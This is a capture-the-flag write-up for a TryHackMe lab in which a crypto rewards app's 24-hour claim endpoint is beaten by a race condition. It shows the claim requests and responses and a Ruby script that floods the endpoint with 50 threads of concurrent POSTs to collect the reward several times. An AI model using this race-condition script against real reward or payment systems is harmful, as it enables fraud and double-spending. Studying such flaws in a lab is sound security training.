Towel on the Sunbed (Hacker Holidays) - Write-up - TryHackMe

Information

Room#

  • Name: Towel on the Sunbed
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: Ponzi set his towel down for one 24-hour reward claim. He came back to find the sunbed had been "claimed" three times over while he wasn't looking.

Towel on the Sunbed

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

sudo pacman -S ruby ruby-httparty

Lore#

🛎️ Concierge Briefing

Ponzi found the resort's wellness portal running a little side project called Ponzi — a crypto rewards app, poolside edition. He set his towel down, claimed his daily reward, and went to reapply sunscreen. He came back to find the sunbed had been "claimed" three times over while he wasn't looking.

He's convinced the app owes him a spot in the Whale Vault. The app disagrees, politely, once every 24 hours. Somewhere between his request and the server's clock, there's a gap wide enough to walk a whale through.

📸 @0xMia's STORY

"ponzi guy has been refreshing his dashboard for an HOUR waiting on this timer 💀 bro really thinks the clock is the only thing checking him #HackerHolidays"

🏖️ TODAY'S ITINERARY

  • [ ] Create a guest account and explore Ponzi's daily reward mechanism.
  • [ ] Work out exactly what's standing between you and Whale Vault status.
  • [ ] Find your way past it and retrieve the flag from the vault.

Register#

Let's register an account

http://10.128.150.255:3000/auth/register

Understanding#

We have Shrimp status and start with 0 ponzi.

To obtain access to the Whale Vault, we need 150 ponzi.

With the Staking Rewards, we can earn 50 ponzi every 24 hours. To earn 150 ponzi legitimately, we would need to wait for 3 days.

Claiming#

A claiming request looks like that:

POST /claim HTTP/1.1
Host: 10.128.150.255:3000
[…]
Cookie: connect.sid=[…]

The server anwers:

{
  "message":"Staking reward claimed successfully.",
  "reward":50,
  "newBalance":50,
  "tier":"Shrimp",
  "priceSnapshot":4.2
}

If we request the API /dashboard/api/me, we obtain this answer:

{
  "id":2,
  "username":"noraj",
  "balance":50,
  "tier":"Shrimp",
  "whaleThreshold":150,
  "canClaim":false,
  "secondsUntilClaim":86400,
  "prices": [
    {"symbol":"BTC", "price_usd":67432.11},
    {"symbol":"ETH", "price_usd":3512.88},
    {"symbol":"PONZI", "price_usd":4.2},
    {"symbol":"SOL", "price_usd":178.44}
  ]
}

We see canClaim value is now set to false and if we try to claim again:

{
  "error":"Reward already claimed. Please wait before claiming again.",
  "secondsRemaining":86304
}

What we can try, is to perform a race condition, and try sending several concurrent requests, before our claim status is denied.

Race condition#

A ruby script to send a claim would be:

require 'httparty'

url = 'http://10.128.150.255:3000/claim'
headers = {
  'Cookie': 'connect.sid=s%3AjjidqBB-raAPN_v3kodQad-ltDtYX3hx.SHg7MSrXXGQk6tZ7f4VSTu1ShDnfssz85ANVvLxL%2FC4',
}
res = HTTParty.post(url, headers: headers)

Let's use a naive approach to concurrent request sending using threads.

require 'httparty'

url = 'http://10.128.150.255:3000/claim'
headers = {
  'Cookie': 'connect.sid=s%3AjjidqBB-raAPN_v3kodQad-ltDtYX3hx.SHg7MSrXXGQk6tZ7f4VSTu1ShDnfssz85ANVvLxL%2FC4',
}

# Number of parallel requests to make
concurrency = 50

# Array to store all threads
threads = []

concurrency.times do
  threads << Thread.new do
    loop do
      begin
        response = HTTParty.post(url, headers: headers)
        puts "Response code: #{response.code}"
      rescue => e
        puts "Error: #{e.message}"
      end
    end
  end
end

# Keep the main thread alive
threads.each(&:join)

With this approach, I managed to get HTTP 200 for 8 requests before getting denied (429), so I obtained 400 ponzi, enough to get Whale Vault access.

Share